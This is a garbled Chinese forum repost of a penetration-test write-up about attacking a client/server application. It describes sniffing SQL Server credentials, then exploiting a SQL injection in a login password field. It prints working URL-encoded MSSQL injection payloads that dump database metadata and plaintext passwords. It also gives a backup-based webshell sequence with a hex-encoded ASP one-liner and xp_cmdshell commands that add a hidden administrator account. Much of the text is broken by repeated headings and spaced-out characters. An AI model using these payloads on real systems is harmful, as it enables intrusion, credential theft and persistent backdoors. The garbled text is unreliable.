搜索

[20349] 2020-08-06_倔强的web狗-记一次CS架构渗透测试

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2020-08-06_倔强的web狗-记一次CS架构渗透测试 倔 强 的 w e b 狗 - 记 一 次 C / S 架 构 渗 透 测 试 K h a n 安 全 攻 防 实 验 室   2 0 2 0 - 0 8 - 0 6 以 下 文 章 来 源 于 酒 仙 桥 六 号 部 队   ， 作 者 队 员 编 号 5 4 这 是   酒 仙 桥 六 号 部 队 酒 仙 桥 六 号 部 队   的 第   5 4   篇 文 章 。 全 文 共 计 2 7 0 5 个 字 ， 预 计 阅 读 时 长 9 分 钟 。 0 X 0 1   前 前 0 X 0 1   前 前 0 X 0 1   前 前 0 X 0 1   前 前 0 X 0 1   前 前 0 X 0 1   前 前 0 X 0 1   前 前 0 X 0 1   前 前 0 X 0 1   前 前 0 X 0 1   前 前 0 X 0 1   前 前 0 X 0 1   前 前 0 X 0 1   前 前 0 X 0 1   前 前 0 X 0 1   前 前 0 X 0 1   前 前 0 X 0 1   前 前 0 X 0 1   前 前 0 X 0 1   前 前 0 X 0 1   前 前 0 X 0 1   前 前 0 X 0 1   前 前 0 X 0 1   前 前 0 X 0 1   前 前 0 X 0 1   前 前 0 X 0 1   前 前 0 X 0 1   前 前 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 言 如 题 所 示 ， 本 文 以 W E B 安 全 、 渗 透 测 试 作 为 出 发 点 ， 记 录 一 次 针 对 C / S 架 构 客 户 端 渗 透 测 试 的 案 例 ， 分 享 渗 透 测 试 过 程 中 遇 到 比 较 有 意 思 的 一 些 风 险 点 。 不 懂 二 进 制 的 w e b 狗 ， 需 要 分 析 C / S 架 构 的 软 件 ， 我 们 的 思 路 是 分 析 客 户 端 的 功 能 点 ， 同 时 抓 取 客 户 端 的 数 据 包 ， 分 析 每 一 个 功 能 点 判 断 是 否 有 交 互 的 数 据 包 产 生 ， 如 果 有 H T T P 数 据 包 产 生 ， 就 根 据 请 求 的 网 站 用 常 规 的 W E B 渗 透 思 路 ； 如 果 是 请 求 远 程 数 据 库 端 口 ， 就 尝 试 通 过 流 量 抓 取 密 码 ； 如 果 只 有 I P 地 址 ， 就 用 常 规 的 渗 透 思 路 。 0 X 0 2   寻 找 软 件 接 口 服 务 寻 找 软 件 接 口 服 务 0 X 0 2   寻 找 软 件 接 口 服 务 寻 找 软 件 接 口 服 务 0 X 0 2   寻 找 软 件 接 口 服 务 寻 找 软 件 接 口 服 务 0 X 0 2   寻 找 软 件 接 口 服 务 寻 找 软 件 接 口 服 务 0 X 0 2   寻 找 软 件 接 口 服 务 寻 找 软 件 接 口 服 务 0 X 0 2   寻 找 软 件 接 口 服 务 寻 找 软 件 接 口 服 务 0 X 0 2   寻 找 软 件 接 口 服 务 寻 找 软 件 接 口 服 务 0 X 0 2   寻 找 软 件 接 口 服 务 寻 找 软 件 接 口 服 务 0 X 0 2   寻 找 软 件 接 口 服 务 寻 找 软 件 接 口 服 务 0 X 0 2   寻 找 软 件 接 口 服 务 寻 找 软 件 接 口 服 务 0 X 0 2   寻 找 软 件 接 口 服 务 寻 找 软 件 接 口 服 务 0 X 0 2   寻 找 软 件 接 口 服 务 寻 找 软 件 接 口 服 务 0 X 0 2   寻 找 软 件 接 口 服 务 寻 找 软 件 接 口 服 务 0 X 0 2   寻 找 软 件 接 口 服 务 寻 找 软 件 接 口 服 务 0 X 0 2   寻 找 软 件 接 口 服 务 寻 找 软 件 接 口 服 务 0 X 0 2   寻 找 软 件 接 口 服 务 寻 找 软 件 接 口 服 务 0 X 0 2   寻 找 软 件 接 口 服 务 寻 找 软 件 接 口 服 务 0 X 0 2   寻 找 软 件 接 口 服 务 寻 找 软 件 接 口 服 务 0 X 0 2   寻 找 软 件 接 口 服 务 寻 找 软 件 接 口 服 务 0 X 0 2   寻 找 软 件 接 口 服 务 寻 找 软 件 接 口 服 务 0 X 0 2   寻 找 软 件 接 口 服 务 寻 找 软 件 接 口 服 务 0 X 0 2   寻 找 软 件 接 口 服 务 寻 找 软 件 接 口 服 务 0 X 0 2   寻 找 软 件 接 口 服 务 寻 找 软 件 接 口 服 务 0 X 0 2   寻 找 软 件 接 口 服 务 寻 找 软 件 接 口 服 务 0 X 0 2   寻 找 软 件 接 口 服 务 寻 找 软 件 接 口 服 务 0 X 0 2   寻 找 软 件 接 口 服 务 寻 找 软 件 接 口 服 务 0 X 0 2   寻 找 软 件 接 口 服 务 寻 找 软 件 接 口 服 务 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 器 为 了 能 够 获 取 可 以 利 用 的 信 息 ， 我 们 第 一 步 就 是 分 析 软 件 产 生 的 网 络 请 求 ， 这 里 抛 砖 引 玉 介 绍 三 个 小 工 具 。 1 、 使 用 微 软 的 p r o c e x p ， 在 属 性 的 T C P / I P 中 可 以 看 到 程 序 发 起 的 网 络 连 接 。 2 、 使 用 3 6 0 网 络 流 量 监 控 工 具 ， 也 可 以 查 看 所 有 程 序 发 起 的 网 络 连 接 。 酒 仙 桥 六 号 部 队 酒 仙 桥 六 号 部 队   . 知 其 黑 ， 守 其 白 。   分 享 知 识 盛 宴 ， 闲 聊 大 院 趣 事 ， 备 好 酒 肉 等 你 ！
3 、 使 用 W S E x p l o r e r 也 可 以 看 到 指 定 程 序 发 起 的 网 络 请 求 。 既 然 思 路 有 了 ， 我 这 里 就 以 某 个 软 件 为 例 ， 直 接 使 用 W S E x p l o r e r 抓 包 软 件 对 程 序 进 行 抓 包 分 析 。 首 先 打 开 软 件 发 现 有 个 登 录 / 注 册 的 功 能 ， 点 击 注 册 后 可 以 看 到 产 生 了 h t t p 请 求 了 ， 说 明 此 程 序 是 通 过 H T T P 来 实 现 交 互 的 。 获 取 到 远 程 交 互 的 I P 后 ， 在 w i r e s h a r k 写 好 过 滤 远 程 i p 的 表 达 式 ， 也 抓 到 相 关 h t t p 数 据 请 求 ， 接 下 来 我 们 可 以 用 常 规 的 方 法 进 行 渗 透 测 试 。
0 X 0 3   一 个 比 较 有 意 思 的 数 据 交 一 个 比 较 有 意 思 的 数 据 交 0 X 0 3   一 个 比 较 有 意 思 的 数 据 交 一 个 比 较 有 意 思 的 数 据 交 0 X 0 3   一 个 比 较 有 意 思 的 数 据 交 一 个 比 较 有 意 思 的 数 据 交 0 X 0 3   一 个 比 较 有 意 思 的 数 据 交 一 个 比 较 有 意 思 的 数 据 交 0 X 0 3   一 个 比 较 有 意 思 的 数 据 交 一 个 比 较 有 意 思 的 数 据 交 0 X 0 3   一 个 比 较 有 意 思 的 数 据 交 一 个 比 较 有 意 思 的 数 据 交 0 X 0 3   一 个 比 较 有 意 思 的 数 据 交 一 个 比 较 有 意 思 的 数 据 交 0 X 0 3   一 个 比 较 有 意 思 的 数 据 交 一 个 比 较 有 意 思 的 数 据 交 0 X 0 3   一 个 比 较 有 意 思 的 数 据 交 一 个 比 较 有 意 思 的 数 据 交 0 X 0 3   一 个 比 较 有 意 思 的 数 据 交 一 个 比 较 有 意 思 的 数 据 交 0 X 0 3   一 个 比 较 有 意 思 的 数 据 交 一 个 比 较 有 意 思 的 数 据 交 0 X 0 3   一 个 比 较 有 意 思 的 数 据 交 一 个 比 较 有 意 思 的 数 据 交 0 X 0 3   一 个 比 较 有 意 思 的 数 据 交 一 个 比 较 有 意 思 的 数 据 交 0 X 0 3   一 个 比 较 有 意 思 的 数 据 交 一 个 比 较 有 意 思 的 数 据 交 0 X 0 3   一 个 比 较 有 意 思 的 数 据 交 一 个 比 较 有 意 思 的 数 据 交 0 X 0 3   一 个 比 较 有 意 思 的 数 据 交 一 个 比 较 有 意 思 的 数 据 交 0 X 0 3   一 个 比 较 有 意 思 的 数 据 交 一 个 比 较 有 意 思 的 数 据 交 0 X 0 3   一 个 比 较 有 意 思 的 数 据 交 一 个 比 较 有 意 思 的 数 据 交 0 X 0 3   一 个 比 较 有 意 思 的 数 据 交 一 个 比 较 有 意 思 的 数 据 交 0 X 0 3   一 个 比 较 有 意 思 的 数 据 交 一 个 比 较 有 意 思 的 数 据 交 0 X 0 3   一 个 比 较 有 意 思 的 数 据 交 一 个 比 较 有 意 思 的 数 据 交 0 X 0 3   一 个 比 较 有 意 思 的 数 据 交 一 个 比 较 有 意 思 的 数 据 交 0 X 0 3   一 个 比 较 有 意 思 的 数 据 交 一 个 比 较 有 意 思 的 数 据 交 0 X 0 3   一 个 比 较 有 意 思 的 数 据 交 一 个 比 较 有 意 思 的 数 据 交 0 X 0 3   一 个 比 较 有 意 思 的 数 据 交 一 个 比 较 有 意 思 的 数 据 交 0 X 0 3   一 个 比 较 有 意 思 的 数 据 交 一 个 比 较 有 意 思 的 数 据 交 0 X 0 3   一 个 比 较 有 意 思 的 数 据 交 一 个 比 较 有 意 思 的 数 据 交 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 互 上 面 已 经 知 道 当 前 程 序 是 通 过 H T T P 请 求 做 数 据 交 互 的 ， 我 们 准 备 进 行 W E B 渗 透 测 试 的 时 候 发 现 一 些 比 较 有 意 思 的 网 络 请 求 ， 使 用 软 件 某 个 功 能 时 ， 抓 包 软 件 检 测 到 大 量 和 远 程 i p 的 1 4 3 3 端 口 进 行 交 互 的 数 据 ， 初 步 判 断 程 序 是 从 远 程 的 s q l   S e r v e r 数 据 库 获 取 内 容 。 后 续 我 们 通 过 w i r e s h a r k 分 析 数 据 包 ， 发 现 某 些 功 能 确 实 是 通 过 远 程 的 s q l   s e r v e r 数 据 库 获 取 ， 也 就 是 这 个 程 序 里 面 保 存 有 登 录 数 据 库 的 账 号 密 码 。 接 着 直 接 使 用 C a i n   &   A b e l 进 行 流 量 嗅 探 ， 由 于 S Q L   S e r v e r 数 据 库 没 有 配 置 传 输 加 密 ， 我 们 在 T D S 协 议 选 项 成 功 获 取 到 一 个 S Q L   S e r v e r 数 据 库 的 账 号 密 码 。
利 用 获 取 的 数 据 库 密 码 登 录 数 据 库 ， 调 用 存 储 过 程 执 行 系 统 命 令 可 以 直 接 获 取 S y s t e m 权 限 。 0 X 0 4   一 个 比 较 有 意 思 的 一 个 比 较 有 意 思 的 S Q L 注 注 0 X 0 4   一 个 比 较 有 意 思 的 一 个 比 较 有 意 思 的 S Q L 注 注 0 X 0 4   一 个 比 较 有 意 思 的 一 个 比 较 有 意 思 的 S Q L 注 注 0 X 0 4   一 个 比 较 有 意 思 的 一 个 比 较 有 意 思 的 S Q L 注 注 0 X 0 4   一 个 比 较 有 意 思 的 一 个 比 较 有 意 思 的 S Q L 注 注 0 X 0 4   一 个 比 较 有 意 思 的 一 个 比 较 有 意 思 的 S Q L 注 注 0 X 0 4   一 个 比 较 有 意 思 的 一 个 比 较 有 意 思 的 S Q L 注 注 0 X 0 4   一 个 比 较 有 意 思 的 一 个 比 较 有 意 思 的 S Q L 注 注 0 X 0 4   一 个 比 较 有 意 思 的 一 个 比 较 有 意 思 的 S Q L 注 注 0 X 0 4   一 个 比 较 有 意 思 的 一 个 比 较 有 意 思 的 S Q L 注 注 0 X 0 4   一 个 比 较 有 意 思 的 一 个 比 较 有 意 思 的 S Q L 注 注 0 X 0 4   一 个 比 较 有 意 思 的 一 个 比 较 有 意 思 的 S Q L 注 注 0 X 0 4   一 个 比 较 有 意 思 的 一 个 比 较 有 意 思 的 S Q L 注 注 0 X 0 4   一 个 比 较 有 意 思 的 一 个 比 较 有 意 思 的 S Q L 注 注 0 X 0 4   一 个 比 较 有 意 思 的 一 个 比 较 有 意 思 的 S Q L 注 注 0 X 0 4   一 个 比 较 有 意 思 的 一 个 比 较 有 意 思 的 S Q L 注 注 0 X 0 4   一 个 比 较 有 意 思 的 一 个 比 较 有 意 思 的 S Q L 注 注 0 X 0 4   一 个 比 较 有 意 思 的 一 个 比 较 有 意 思 的 S Q L 注 注 0 X 0 4   一 个 比 较 有 意 思 的 一 个 比 较 有 意 思 的 S Q L 注 注 0 X 0 4   一 个 比 较 有 意 思 的 一 个 比 较 有 意 思 的 S Q L 注 注 0 X 0 4   一 个 比 较 有 意 思 的 一 个 比 较 有 意 思 的 S Q L 注 注 0 X 0 4   一 个 比 较 有 意 思 的 一 个 比 较 有 意 思 的 S Q L 注 注 0 X 0 4   一 个 比 较 有 意 思 的 一 个 比 较 有 意 思 的 S Q L 注 注 0 X 0 4   一 个 比 较 有 意 思 的 一 个 比 较 有 意 思 的 S Q L 注 注 0 X 0 4   一 个 比 较 有 意 思 的 一 个 比 较 有 意 思 的 S Q L 注 注 0 X 0 4   一 个 比 较 有 意 思 的 一 个 比 较 有 意 思 的 S Q L 注 注 0 X 0 4   一 个 比 较 有 意 思 的 一 个 比 较 有 意 思 的 S Q L 注 注 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 入 刚 才 我 们 抓 包 发 现 的 数 据 库 I P 和 H T T P 请 求 的 I P 不 一 样 ， 所 以 我 们 继 续 对 刚 开 始 抓 取 到 的 w e b 网 站 进 行 渗 透 测 试 。 我 们 在 分 析 程 序 登 录 功 能 中 发 现 ， 登 录 功 能 的 H T T P 请 求 存 在 一 个 字 符 型 注 入 点 ， p a s s w o r d 字 段 S Q L 语 句 可 控 。
使 用 S Q L M A P 尝 试 自 动 化 注 入 ， 获 取 可 用 信 息 ， 但 是 直 接 B a n   I P ， 暂 时 先 忽 略 。 信 息 收 集 信 息 收 集 这 里 是 通 过 抓 包 软 件 获 取 到 I P ， 先 进 行 简 单 的 信 息 收 集 ： n m a p   x x . x x x . x x   - -   - A   - T 4   - s S n m a p   x x . x x x . x x     - s S   - p   1 - 6 5 5 3 5
经 过 探 测 ， 发 现 开 放 有 F T P ， W E B ( I I S 6 ) ， S Q L   S e r v e r 2 0 0 0 ， M y S Q L 等 服 务 器 系 统 为 2 0 0 3 ， 远 程 桌 面 的 端 口 改 为 了 6 7 9 。               由 于 是 I I S 6 . 0 的 中 间 件 ， 存 在 I I S 短 文 件 名 漏 洞 ， 尝 试 用 脚 本 获 取 文 件 目 录 信 息 ， 通 过 观 察 结 果 结 合 猜 测 ， 得 到 了 一 个 代 理 登 录 后 台 和 管 理 登 录 后 台 的 登 录 地 址 。 截 至 目 前 ， 没 有 找 到 什 么 好 的 突 破 点 。 由 于 信 息 收 集 比 较 充 分 ， 期 间 还 利 用 一 些 众 人 皆 知 的 方 法 猜 测 到 登 录 的 密 码 ， 控 制 了 官 方 的 邮 箱 ， 但 是 ， 作 用 不 大 ， 后 台 登 录 无 果 。
回 到 注 入 点 回 到 注 入 点 由 于 没 有 比 较 好 的 思 路 ， 只 能 暂 时 回 到 前 的 注 入 点 ， 进 行 手 工 注 入 测 试 ， 寻 找 新 的 突 破 点 。 前 面 已 经 探 测 过 ， 确 定 存 在 注 入 点 ， 可 以 用 下 面 的 语 句 爆 出 来 版 本 号 ， 原 理 就 是 把 s q l s e r v e r 查 询 的 返 回 结 果 和 0 比 较 ， 而 0 是 i n t 类 型 ， 所 以 就 把 返 回 结 果 当 出 错 信 息 爆 出 来 了 。 判 断 是 否 d b o 权 限 ： 是 个 高 权 限 用 户 ~ 爆 当 前 连 接 使 用 的 数 据 库 名 称 ： 爆 u s e r b 库 下 面 的 表 ， 得 出 两 个 存 放 用 户 信 息 的 表 ， l o g i n ， u s e r s ： 爆 l o g i n 表 的 字 段 ： N 为 第 几 个 字 段 ， 输 入 1 然 后 2 然 后 3 , . . 一 直 到 爆 到 返 回 正 常 即 可 。 爆 l o g i n 表 p a s s w o r d 字 段 数 据 ， 密 码 竟 然 是 直 接 明 文 存 放 。 u s e r = h e l l o & p a s s w o r d = w o r d ’ a n d % 2 0   @ @ v e r s i o n > 0 - - u s e r = h e l l o & p a s s w o r d = w o r d ’ a n d % 2 0   U s e r _ N a m e ( ) > 0 - - u s e r b u s e r = h e l l o & p a s s w o r d = w o r d ’ a n d % 2 0   d b _ N a m e ( ) > 0 - - u s e r = a d m i n & p a s s w o r d = 2 3 4 ’ a n d % 2 0 ( S e l e c t % 2 0 T o p % 2 0   1   % 2 0   n a m e % 2 0 f r o m % 2 0 s y s o b j e c t s % 2 0   w h e r e   % 2 0 x t y p e = c h a r ( 8 5 ) % 2 0 a n d   % 2 0 s t a t u s > 0 % 2 0 a n d % 2 0 n a m e < > ’ b a k ’ ) > 0 - - u s e r = a d m i n & p a s s w o r d = 2 3 4 ’ a n d % 2 0   ( S e l e c t   % 2 0 T o p   % 2 0 1   % 2 0 c o l _ n a m e ( o b j e c t _ i d ( ‘ l o g i n ’ ) , N )   % 2 0 f r o m   % 2 0 s y s o b j e c t s ) > 0   —
                至 此 ， 已 经 获 取 到 前 台 登 录 的 密 码 ， 通 过 爆 两 个 用 户 表 的 信 息 ， 发 现 u s e r s 表 的 用 户 数 据 可 以 登 录 后 台 ， 但 是 后 台 非 常 简 陋 ， 只 有 用 户 管 理 和 代 理 管 理 。 同 时 ， 在 代 理 管 理 功 能 发 现 代 理 的 登 录 帐 号 也 是 明 文 存 放 的 ， 前 面 用 i i s 短 文 件 漏 洞 也 找 到 了 代 理 的 后 台 ， 尝 试 使 用 密 码 登 录 代 理 后 台 。 登 录 代 理 后 台 后 ， 后 台 界 面 同 样 也 是 非 常 的 简 陋 ， 只 有 简 单 的 数 据 管 理 功 能 ， 没 有 找 到 可 以 利 用 的 点 。 只 好 继 续 探 测 目 录 ， 寻 找 其 它 后 台 页 面 ， 后 台 没 找 到 ， 但 是 发 现 一 个 1 . p h p 文 件 ， 爆 出 了 绝 对 路 径 。 D b a 权 限 + 绝 对 路 径 ， 瞬 间 想 到 了 备 份 g e t s h e l l 。 差 异 备 份 差 异 备 份 # 设 置 u s e r b 表 为 完 整 恢 复 模 式 。 # 创 建 一 个 名 为 c y b a c k u p 的 临 时 表 。 & p a s s w o r d = 2 3 4 ’ a n d % 2 0 ( s e l e c t   % 2 0 t o p   % 2 0 1   % 2 0 u s e r n a m e % 2 0   f r o m   % 2 0 l o g i n   % 2 0 w h e r e   % 2 0 i d = 1 ) > 1 - - ` ` ` u s e r = a d m i n & p a s s w o r d = 2 3 4 ′ ; a l t e r % 2 0   d a t a b a s e % 2 0   u s e r b % 2 0   s e t % 2 0   R E C O V E R Y   % 2 0 F U L L - - ` ` ` ` ` ` u s e r = a d m i n & p a s s w o r d = 2 3 4 ′ ; c r e a t e % 2 0   t a b l e   % 2 0 c y b a c k u p   % 2 0 ( t e s t % 2 0   i m a g e ) - - ` ` ` ` ` ` u s e r = a d m i n & p a s s w o r d = 2 3 4 ′ ; i n s e r t % 2 0   i n t o   % 2 0 c y b a c k u p ( t e s t )   % 2 0 v a l u e s ( 0 x 2 0 3 c 2 5 6 5 7 8 6 5 6 3 7 5 7 4 6 5 2 0 7 2 6 5 7 1 7 5 6 5 7 3 7 4 2 8 2 2 6 1 2 2 2 9 2 5 3 e ) ; - - ` ` `
# 插 入 经 过 1 6 进 制 编 码 的 一 句 话 到 刚 才 创 建 的 表 的 t e s t 字 段 。 其 中 上 面 的 就 是 经 过 1 6 进 制 编 码 后 的 完 整 路 径 ： C : / w w w r o o t / x x x x / w w w r o o t / x x / l o g _ t e m p . a s p # 完 成 后 把 u s e r b 表 设 回 简 单 模 式 。 尝 试 备 份 a s p 的 一 句 话 ， 尝 试 多 次 闭 合 均 失 败 。 尝 试 备 份 p h p 的 一 句 话 ， 文 件 也 太 大 了 。 被 忽 略 的 存 储 过 程 被 忽 略 的 存 储 过 程 这 个 差 异 备 份 拿 s h e l l 搞 了 很 久 ， 还 是 没 有 成 功 ， 后 来 想 到 再 次 调 用 x p _ c m d s h e l l 执 行 系 统 命 令 ， 因 为 之 前 尝 试 过 使 用 D N S L O G 获 取 命 令 执 行 结 果 ， 但 是 没 有 获 取 到 命 令 执 行 的 结 果 。 本 来 以 为 是 恢 复 x p _ c m d s h e l l 没 成 功 ， 后 来 想 到 版 本 是 S Q L   S e r v e r 2 0 0 0   x p _ c m d s h e l l 默 认 应 该 是 开 启 的 。 因 为 我 们 已 经 有 了 w e b 路 径 信 息 ， 直 接 调 用 x p _ c m d s h e l l 存 储 过 程 ， 把 执 行 命 令 把 返 回 结 果 导 出 到 一 个 文 件 即 可 。     获 取 命 令 执 行 的 回 显 ： 执 行 成 功 了 ， S y s t e m 权 限 ！ 然 后 就 是 直 接 添 加 用 户 ， 这 里 有 个 坑 ， 由 于 之 前 使 用 空 格 符 号 而 不 是 % 2 0 ， 导 致 S Q L 语 句 没 有 成 功 执 行 ， 使 用 % 2 0 代 替 空 格 符 号 就 可 以 成 功 执 行 S Q L 语 句 了 。 ` ` ` u s e r = a d m i n & p a s s w o r d = 2 3 4 ′ ; d e c l a r e % 2 0 @ a % 2 0   s y s n a m e , @ s % 2 0   v a r c h a r ( 4 0 0 0 ) % 2 0   s e l e c t % 2 0   @ a = d b _ n a m e ( ) , @ s = 0 x 4 3 3 a 2 f 7 7 7 7 7 7 7 2 6 f 6 f 7 4 2 f 6 6 7 2 6 a 7 a 2 f 7 7 7 7 7 7 7 2 6 f 6 f 7 4 2 f 7 0 6 9 6 3 2 f 7 4 6 d 7 1 7 3 7 0 % 2 0   b a c k u p ` 0 x 4 3 3 a 2 f 7 7 7 7 7 7 7 2 6 f 6 f 7 4 2 f 6 6 7 2 6 a 7 a 2 f 7 7 7 7 7 7 7 2 6 f 6 f 7 4 2 f 7 0 6 9 6 3 2 f 7 4 6 d 7 1 7 3 7 0 ` ` ` ` u s e r = a d m i n & p a s s w o r d = 2 3 4 ′ ; a l t e r % 2 0   d a t a b a s e % 2 0   u s e r b % 2 0   s e t % 2 0   R E C O V E R Y   % 2 0 s i m p l e - -     ` ` ` u s e r = a d m i n & p a s s w o r d = 2 3 4 ′ ;   E x e c   % 2 0 m a s t e r . . x p _ c m d s h e l l   % 2 0 ’ w h o a m i > C : w w w r o o t x x x w w w r o o t w e b t e m p . t x t ’ - - u s e r = a d m i n & p a s s w o r d = 2 3 4 ′ ;   E x e c   % 2 0 m a s t e r . . x p _ c m d s h e l l   % 2 0 ’ n e t % 2 0   u s e r % 2 0   t e m p % 2 0   t e m p % 2 0   / a d d ’ - -
远 程 桌 面 端 口 前 面 也 已 经 探 测 出 来 了 ， 添 加 的 账 号 密 码 直 接 连 接 到 服 务 器 ， 至 此 ， 程 序 涉 及 的 两 个 i p 地 址 都 被 我 们 成 功 获 取 s y s t e m 权 限 了 。 0 X 0 5   总 总 0 X 0 5   总 总 0 X 0 5   总 总 0 X 0 5   总 总 0 X 0 5   总 总 0 X 0 5   总 总 0 X 0 5   总 总 0 X 0 5   总 总 0 X 0 5   总 总 0 X 0 5   总 总 0 X 0 5   总 总 0 X 0 5   总 总 0 X 0 5   总 总 0 X 0 5   总 总 0 X 0 5   总 总 0 X 0 5   总 总 0 X 0 5   总 总 0 X 0 5   总 总 0 X 0 5   总 总 0 X 0 5   总 总 0 X 0 5   总 总 0 X 0 5   总 总 0 X 0 5   总 总 0 X 0 5   总 总 0 X 0 5   总 总 0 X 0 5   总 总 0 X 0 5   总 总 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 结 本 文 并 无 技 术 亮 点 ， 主 要 是 通 过 两 个 比 较 常 规 小 案 例 ， 分 享 用 w e b 安 全 的 思 路 去 测 试 C / S 架 构 软 件 的 技 巧 。 总 体 思 路 ： 通 过 1 4 3 3 端 口 流 量 嗅 探 获 取 了 一 台 服 务 器 的 权 限 ； 通 过 登 录 功 能 H T T P 数 据 包 ， 发 现 存 在 高 权 限 注 入 点 ， 利 用 注 入 点 调 用 存 储 过 程 执 行 命 令 获 取 了 第 二 台 服 务 器 权 限 。 u s e r = a d m i n & p a s s w o r d = 2 3 4 ′ ;   E x e c   % 2 0 m a s t e r . . x p _ c m d s h e l l   % 2 0 ’ n e t % 2 0   l o c a l g r o u p % 2 0   a d m i n i s t r a t o r s % 2 0   t e m p % 2 0   / a d d ’ - -
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理